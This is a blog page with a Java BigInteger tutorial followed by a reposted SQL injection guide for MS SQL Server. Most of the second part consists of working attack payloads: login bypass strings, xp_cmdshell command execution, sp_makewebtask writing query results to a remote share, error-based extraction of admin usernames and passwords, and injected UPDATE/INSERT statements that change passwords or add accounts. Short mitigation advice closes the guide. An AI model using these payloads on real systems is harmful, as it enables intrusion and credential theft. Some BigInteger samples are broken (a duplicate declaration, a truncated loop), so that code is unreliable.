BigInteger Tutorial (java.math.BigInteger)

BigInteger Tutorial

From a long time I was wondering what should be my next blog topic…..since in last few months I used lot of java.math.BigInteger class in most of my programs that’s why I have decided to write a small tutorial for it…. So here we go

You might be aware of the total storage capabilities of different data types which are used to store integer values in java … to brush up you can have a look at following grid (u can skip this section :) )

Java stores all integers in memory as binary numbers.

type	Size		Range
name	bytes	bits
byte	1	8	-128 to +127
short	2	16	-32768 to +32767
int	4	32	-2147483648 to to +2147483647
long	8	64	9223372036854775808 to +9223372036854775807

[Source: http://leepoint.net/notes-java/data/basic_types/21integers.html]

There may be cases when we are interested in computation involving the numbers >2⁶⁴ so what data type should we use in that case. Java (I think 1.4.2 and higher) package comes with a BigInteger class which is designed to perform normal mathematical operation on 20-21 digit number or even high…..

Now in order to instantiate BigInteger class we can use any of the constructors specified in the following program

import java.math.BigInteger;

class Btest

{

public static void main(String args[])

{//1.BigInteger(byte[] val)

byte a[]={1,2,3,4};

BigInteger a1=new BigInteger(a);

System.out.println( a1);

/*2.BigInteger(int signum, byte[] magnitude) used to translate the sign magnitude of the BigInteger into BigInteger

signum - signum of the number (-1 for negative, 0 for zero, 1 for positive).

magnitude - big-endian binary representation of the magnitude of the number. */

BigInteger a2 = new BigInteger(1, a);

System.out.println( a2);

/*3.BigInteger(String val,int radix)

translates the String representation of BigInteger in the specified radix into a BigInteger

one can use optional minus "-"sign in the string parameter

*/

BigInteger a3 = new BigInteger("346433", 10);

System.out.println(a3);

/*4.BigInteger(String val)

translates decimal representation of a bigInteger specified in the string into corresponding BigInteger

*/

BigInteger a4=new BigInteger ("1231431543534");

System.out.println(a4);

/*5.BigInteger(int numBits,Random rnd)

this constructor generates a random BigInteger within interval [0,anitlog(numbits*log2)-1 ] */

java.util.Random r=new java.util.Random ();

BigInteger a5 = new BigInteger(32, r);

System.out.println(a5);

/*BigInteger(int bitLength,int certainty,Random rnd)

this constructor specifications leads to a randomely generated BigInteger which is probabaly prime.

Paramater bitlength specifies the bitlength of the desired BigInteger .

Parameter certainity specifies the certainity that could be tolerated by the caller

Parameter rnd is the source of random bits used to select candidates to be tested for primality.

*/

BigInteger a6 = new BigInteger(8, 56, r);

System.out.println(a6);

//Some other initialization techniques

BigInteger a6 = new BigInteger(8, 56, r);

System.out.println(a6);

BigInteger a7 = BigInteger.ONE;//can also use BigInteger.ZERO

System.out.println(a7);

BigInteger a8=BigInteger.valueOf(54353263);

System.out.println(a8);

}

}

OUTPUT

16909060

16909060

346433

1231431543534

94655163

191

1

54353263

Now we come to various methods which could be applied on BigInteger Objects. I have a written following program which involves most of the BigInteger methods however there a some more methods which are not given in program .You can get their detail here

import java.math.BigInteger;

class Btest1

{

public static void main(String args[])

/*--------------------------------Arithmetic and logical Methods--------------------------------*/

BigInteger x =BigInteger.valueOf(10);

BigInteger y = BigInteger.valueOf(8);

//add

x = x.add(BigInteger.valueOf(4));

x = x.add(y);

System.out.println(x);

//subtract

x = x.subtract(BigInteger.valueOf(4));

x = x.subtract(y);

System.out.println(x);

//divide

x = x.divide(BigInteger.valueOf(1));

x = x.divide(y);

System.out.println(x);

//multiply

x = x.multiply(BigInteger.valueOf(1));

x = x.multiply(y);

System.out.println(x);

//remainder

x = x.remainder(BigInteger.valueOf(4));

x = x.remainder(y);

System.out.println(x);

//divideAndRmainder

x = BigInteger.valueOf(43);

BigInteger s[] = new BigInteger[2];

s = x.divideAndRemainder(BigInteger.valueOf(5));

System.out.println("x/5="+s[0]+" "+"x%5="+s[1]);

s = x.divideAndRemainder(y);

System.out.println("x/y=" + s[0] + " " + "x%y=" + s[1]);

/*methods for Comparison */

//equals :returns true if parameter is equal to specified BigInteger

System.out.println (x.equals(BigInteger.valueOf(43)));

System.out.println (x.equals(y));

/*comapreTo :returns -1,0,1 depending on the value give as parameter is lesser than

,equal to,greater than the BigInteger for which the method is used */

System.out.println(x.compareTo(BigInteger.valueOf(42)));

System.out.println(x.compareTo(BigInteger.valueOf(43)));

System.out.println(x.compareTo(BigInteger.valueOf(44)));

//toString :used for String conversion

System.out.println(x.toString());

//to print corresponding byte,int,double,float,short value

System.out.println(x.byteValue());

System.out.println(x.doubleValue());

System.out.println(x.intValue());

System.out.println(x.floatValue());

System.out.println(x.shortValue());

byte x2[] = x.toByteArray();

for (int h=0;h

System.out.println(x2[h]);

/*isProbablePrime :returns true if the given BigInteger is prime ,

returns false if the given BigInteger is composite one has to menation integer value as the

parameter ,this integer value called "certainity" gives the measure of uncertainity which could be

tolerated */

System.out.println(x.isProbablePrime(23));

//pow :for raise to the power operation

System.out.println(x.pow(45));

//abs :used to return the absolute value

System.out.println(x.multiply(BigInteger.valueOf(-1)) + " " + x.multiply(BigInteger.valueOf(-1)).abs());

//negate returns -1*BigInteger

System.out.println(x.negate() + " " + x.multiply(BigInteger.valueOf(-1)).negate());

//hashCode:returns hashcode for the given BigInteger

System.out.println(x.hashCode());

//signm :Returns the signum function of the BigInteger.

System.out.println(x.signum());

/*------------------------------Bit Methods------------------------------*/

//shiftLeft

System.out.println(x.shiftLeft(4));

//shiftRight

System.out.println(x.shiftRight(4));

//bitCount returns the number of bits in two's complement notation apart frm the sign bit

System.out.println(x.bitCount());

//bitLength :returns the number of bits in minimal two's complement notation leaving the sign bit

System.out.println(x.bitLength());

//getLowestSetBit :returns the index of righmost one bit in the given BigInteger

System.out.println(x.getLowestSetBit());

//and

System.out.println(x.and(y));

//or

System.out.println(x.or(y));

//xor

System.out.println(x.xor(y));

//andNot

System.out.println(x.andNot(y));// returns x&~y

//not

System.out.println(x.not());

//testBit :returns true if designated bit is set

System.out.println(x.testBit(4));//test if ((x&(1<<4))!=0)>

/*setBit :returns a BigInteger which is generated by setting the specified bit of

the equivalent bit representation of Given BigInteger*/

System.out.println(x.setBit(4));// calculates x | (1<<4)

/*clearBit: returns a BigInteger which is generated by clearing the specified bit of

the equivalent bit representation of Given BigInteger*/

System.out.println(x.clearBit(4)); //calculates x&~(1<<4)

/*flipBit:returns a BigInteger which is generated by flipping the specified bit of

the equivalent bit representation of Given BigInteger*/

System.out.println(x.flipBit(4));//calculates x^~(1<<4)

}

}

OUTPUT

22

10

1

8

0

x/5=8 x%5=3

x/y=5 x%y=3

true

false

1

0

-1

43

43

43.0

43

43.0

43

43

true

32068636955638964644302091603013447460711607634633358021240791550942692443

-43 43

-43 43

43

1

688

2

4

6

0

8

43

35

35

-44

false

59

43

59

Till now you would be able to use the BigInteger class as per your needs .Following is a small code which I wrote to calculate the factorial of large values and store it in a text file generated at at C drive C:/fact.txt I have calculated the value of 40000!..which is incredibly huge …lol and uploaded the generated file here

import java.io.*;

import java.math.BigInteger;

class ffact

{

public static void main(String args[])throws Exception

{

BufferedReader b = new BufferedReader(new InputStreamReader(System.in));

System.out.println("enter a value");

BigInteger a = new BigInteger(b.readLine());

BigInteger a1 = BigInteger.valueOf(1),a2=BigInteger.valueOf(1);

for (a1 = BigInteger.valueOf(1); a1.compareTo(a) <= 0; a1 = a1.add(BigInteger.valueOf(1)))

a2 = a2.multiply(a1);

File f2 = new File("c:/fact.txt");

if (!f2.exists()) f2.createNewFile();

PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(f2.getAbsolutePath())));

p.println(a2);

p.close();

}

}

Anyways its 2:10 am … i guess I need some sleep now …hope I’ll come wid a new topic soon thinking to come up with internal working of BigInteger class next time Or I’ll come up wid some other topic …..

SQL INJECTIONS

FEW DAYS AGO I READ THIS ARTICLE FOUND IT USEFUL IN ORDER TO CREATE WEB APPLICATIONS NON VULNERABLE TO SQL INJECTION


What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

Everything between the

and

have potential parameters that might be useful (exploit wise).


2.1 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly.

If luck is on your side, you will get login without any login name or password.

3.1 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10
UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


9.0 Where can I get more info?
One of the earliest works on SQL Injection we have encountered should be the paper from Rain Forest Puppy about how he hacked PacketStorm.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

Great article on gathering information from ODBC error messages:
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

A good summary of SQL Injection on various SQL Server on
http://www.owasp.org/asac/input_validation/sql.shtml

Senseport's article on reading SQL Injection:
http://www.sensepost.com/misc/SQLinsertion.htm

Other worth readings:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf